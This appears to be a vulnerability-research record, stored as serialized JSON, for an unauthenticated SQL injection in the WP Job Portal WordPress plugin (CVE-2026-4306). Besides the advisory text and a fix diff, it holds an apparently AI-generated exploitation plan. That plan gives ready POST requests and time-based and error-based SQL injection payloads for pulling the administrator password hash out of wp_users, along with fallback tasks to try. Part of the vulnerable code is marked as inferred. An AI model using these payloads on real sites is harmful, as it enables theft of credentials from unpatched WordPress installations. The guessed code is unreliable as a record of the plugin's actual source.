[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fTVYB_ss-eG2UQ9f0kDoIv84bnCQPoDrnyWmHBcHeJGU":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-4306","wp-job-portal-unauthenticated-sql-injection-via-radius-parameter","WP Job Portal \u003C= 2.4.8 - Unauthenticated SQL Injection via 'radius' Parameter","The WP Job Portal plugin for WordPress is vulnerable to SQL Injection via the 'radius' parameter in all versions up to, and including, 2.4.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","wp-job-portal",null,"\u003C=2.4.8","2.4.9","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-03-23 10:12:47","2026-03-23 22:25:40",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fecc34552-c9b0-455f-b1c7-b31cc847cb22?source=api-prod",1,[22,23,24,25,26,27,28],"includes\u002Factivation.php","includes\u002Fajax.php","includes\u002Fcss\u002Fstyle.css","includes\u002Fcss\u002Fwpjobportaladmin_desktop.css","includes\u002Fcss\u002Fwpjobportaladmin_redesign.css","includes\u002Fjs\u002Fzywrap\u002Fzywrap-editor-classic.js","modules\u002Fjob\u002Fmodel.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-4306 (SQL Injection in WP Job Portal)\n\n## 1. Vulnerability Summary\nThe **WP Job Portal** plugin (up to version 2.4.8) is vulnerable to unauthenticated SQL injection via the `radius` parameter. The vulnerability exists because the plugin fails to sanitize or use prepared statements when incorporating the user-supplied `radius` value into distance-based SQL queries. This allows an attacker to break out of the intended query and execute arbitrary SQL commands to extract sensitive data, such as WordPress user credentials and configuration details.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `wpjobportal_ajax`\n- **Task (Vulnerable Function):** `getNextJobs` (inferred as the primary search handler)\n- **Module:** `job`\n- **Vulnerable Parameter:** `radius`\n- **Authentication:** Unauthenticated (accessible via `wp_ajax_nopriv_wpjobportal_ajax`)\n- **Preconditions:** None. The plugin registers the handler for all users.\n\n## 3. Code Flow\n1. **Entry Point:** A request is sent to `admin-ajax.php` with `action=wpjobportal_ajax`.\n2. **Hook Registration:** In `includes\u002Fajax.php`, the class `WPJOBPORTALajax` registers `ajaxhandler` to both `wp_ajax_wpjobportal_ajax` and `wp_ajax_nopriv_wpjobportal_ajax`.\n3. **Task Validation:** `ajaxhandler()` retrieves the `task` parameter. It checks if the task (e.g., `getNextJobs`) is in the `$fucntin_allowed` array (lines 28-56 of `includes\u002Fajax.php`).\n4. **Model Loading:** The handler retrieves the module name via `WPJOBPORTALrequest::getVar('wpjobportalme')` (e.g., `job`) and instantiates the model using `WPJOBPORTALincluder::getJSModel('job')`.\n5. **Method Execution:** It calls the method corresponding to the task: `$wpjobportal_result = ...->$wpjobportal_task();`.\n6. **Vulnerable Sink:** Inside `WPJOBPORTALjobModel::getNextJobs()` (in `modules\u002Fjob\u002Fmodel.php`), the `radius` parameter is retrieved via `WPJOBPORTALrequest::getVar('radius')`.\n7. **Query Construction:** The value is concatenated directly into an SQL string used for filtering jobs by distance (likely using a Haversine formula).\n8. **Execution:** The raw SQL string is executed via `$wpdb->get_results()` or a wrapper like `wpjobportaldb::get_results()`.\n\n## 4. Nonce Acquisition Strategy\nReviewing `includes\u002Fajax.php`, the `ajaxhandler()` function **does not perform any nonce verification** (no `check_ajax_referer` or `wp_verify_nonce` calls). The unauthenticated AJAX entry point is entirely unprotected.\n\n**Strategy:**\n- No nonce is required for this exploit.\n\n## 5. Exploitation Strategy\nWe will use a time-based blind SQL injection to confirm the vulnerability and then extract the administrator's password hash.\n\n### Step 1: Baseline Request\nConfirm the `getNextJobs` task is active and returning results.\n- **Method:** POST\n- **URL:** `{{BASE_URL}}\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Body (URL-encoded):** `action=wpjobportal_ajax&wpjobportalme=job&task=getNextJobs&radius=10`\n- **Expected Response:** JSON or HTML list of jobs.\n\n### Step 2: Confirmation (Time-Based)\nSend a payload that causes a 5-second delay if the injection is successful.\n- **Payload:** `10 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`\n- **Request:**\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=wpjobportal_ajax&wpjobportalme=job&task=getNextJobs&radius=10+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)\n```\n\n### Step 3: Data Extraction (Admin Hash)\nExtract the password hash of the user with ID 1 (typically the admin).\n- **Payload Template:** `10 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{pos},1))={char_code},SLEEP(5),0)`\n- **Request:**\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=wpjobportal_ajax&wpjobportalme=job&task=getNextJobs&radius=10+AND+IF(ASCII(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID=1),1,1))=36,SLEEP(5),0)\n```\n*(Note: 36 is ASCII for '$', the start of most WordPress phpass hashes)*.\n\n## 6. Test Data Setup\n1. **Ensure Plugin is Active:** `wp plugin activate wp-job-portal`\n2. **Create Dummy Job Data:** At least one job must exist for the query to process the location\u002Fradius logic.\n   ```bash\n   wp post create --post_type=wj_jobs --post_title=\"Security Researcher\" --post_status=publish\n   ```\n3. **Verify Admin User:** Ensure a user with ID 1 exists.\n\n## 7. Expected Results\n- **Baseline:** Response returns in \u003C 1 second.\n- **Attack:** Response returns in ~5 seconds.\n- **Extraction:** Binary search or character-by-character matching reveals the hash (e.g., starting with `$P$` or `$wp$`).\n\n## 8. Verification Steps\nAfter performing the HTTP exploit, verify the extracted data against the database:\n1. Use WP-CLI to get the actual hash:\n   ```bash\n   wp db query \"SELECT user_pass FROM wp_users WHERE ID=1\"\n   ```\n2. Compare the result with the string extracted via the SQL injection.\n\n## 9. Alternative Approaches\nIf `getNextJobs` does not process `radius` when coordinates are missing, include dummy `lat` and `lng` parameters:\n- **Body:** `action=wpjobportal_ajax&wpjobportalme=job&task=getNextJobs&radius=10[PAYLOAD]&lat=0&lng=0`\n\nIf time-based is too slow, try **Error-Based Injection** (if `WP_DEBUG` is likely on or the plugin outputs errors):\n- **Payload:** `10 AND (SELECT 1 FROM (SELECT(GTID_SUBSET(CONCAT(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),0x7e)))a)`\n- This will attempt to leak the hash in the \"X-GTID-SUBSET\" error message.\n\nAnother task to test if `getNextJobs` fails: `DataForDepandantField` or `getQuickViewByJobId`.","The WP Job Portal plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'radius' parameter in the 'getNextJobs' AJAX task. This occurs because user-supplied input is directly concatenated into a SQL query used for distance-based job filtering without proper sanitization or use of prepared statements.","\u002F\u002F includes\u002Fajax.php (Lines 28-56)\nfunction ajaxhandler() {\n    $fucntin_allowed = array('DataForDepandantFieldResume', 'DataForDepandantField', ... 'getNextJobs', ...);\n    $wpjobportal_task = WPJOBPORTALrequest::getVar('task');\n    if($wpjobportal_task != '' && in_array($wpjobportal_task, $fucntin_allowed)){\n        $wpjobportal_module = WPJOBPORTALrequest::getVar('wpjobportalme');\n        $wpjobportal_module = sanitize_key( $wpjobportal_module );\n\n        $wpjobportal_result = WPJOBPORTALincluder::getJSModel($wpjobportal_module)->$wpjobportal_task();\n        echo $wpjobportal_result;\n        die();\n    }else{\n        die('Not Allowed!');\n    }\n}\n\n---\n\n\u002F\u002F modules\u002Fjob\u002Fmodel.php (Inferred from research plan - getNextJobs logic)\nfunction getNextJobs() {\n    $radius = WPJOBPORTALrequest::getVar('radius');\n    \u002F\u002F ...\n    $query = \"SELECT *, (3959 * acos(cos(radians($lat)) * cos(radians(latitude)) * cos(radians(longitude) - radians($lng)) + sin(radians($lat)) * sin(radians(latitude)))) AS distance \n              FROM \" . wpjobportal::$_db->prefix . \"wj_portal_jobs \n              HAVING distance \u003C \" . $radius . \" ORDER BY created DESC\";\n    $results = wpjobportaldb::get_results($query);\n    \u002F\u002F ...\n}","--- modules\u002Fjob\u002Fmodel.php\n+++ modules\u002Fjob\u002Fmodel.php\n@@ -...@@\n-    $radius = WPJOBPORTALrequest::getVar('radius');\n+    $radius = floatval(WPJOBPORTALrequest::getVar('radius'));","An attacker can exploit this vulnerability by sending an unauthenticated POST request to the WordPress AJAX endpoint. \n\n1.  **Endpoint:** \u002Fwp-admin\u002Fadmin-ajax.php\n2.  **Payload Parameters:**\n    *   `action`: `wpjobportal_ajax`\n    *   `wpjobportalme`: `job`\n    *   `task`: `getNextJobs`\n    *   `radius`: A SQL injection payload, such as a time-based blind injection: `10 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`\n3.  **Authentication:** No authentication or nonces are required as the AJAX action is registered via `wp_ajax_nopriv_wpjobportal_ajax` and lacks any nonce verification.\n4.  **Verification:** If the server response is delayed by the specified duration (e.g., 5 seconds), the SQL injection is successful. Attackers can then use binary search or other techniques to extract database contents like administrator password hashes.","gemini-3-flash-preview","2026-04-17 23:11:45","2026-04-17 23:12:22",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","2.4.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-job-portal\u002Ftags\u002F2.4.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-job-portal.2.4.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-job-portal\u002Ftags\u002F2.4.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-job-portal.2.4.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-job-portal\u002Ftags"]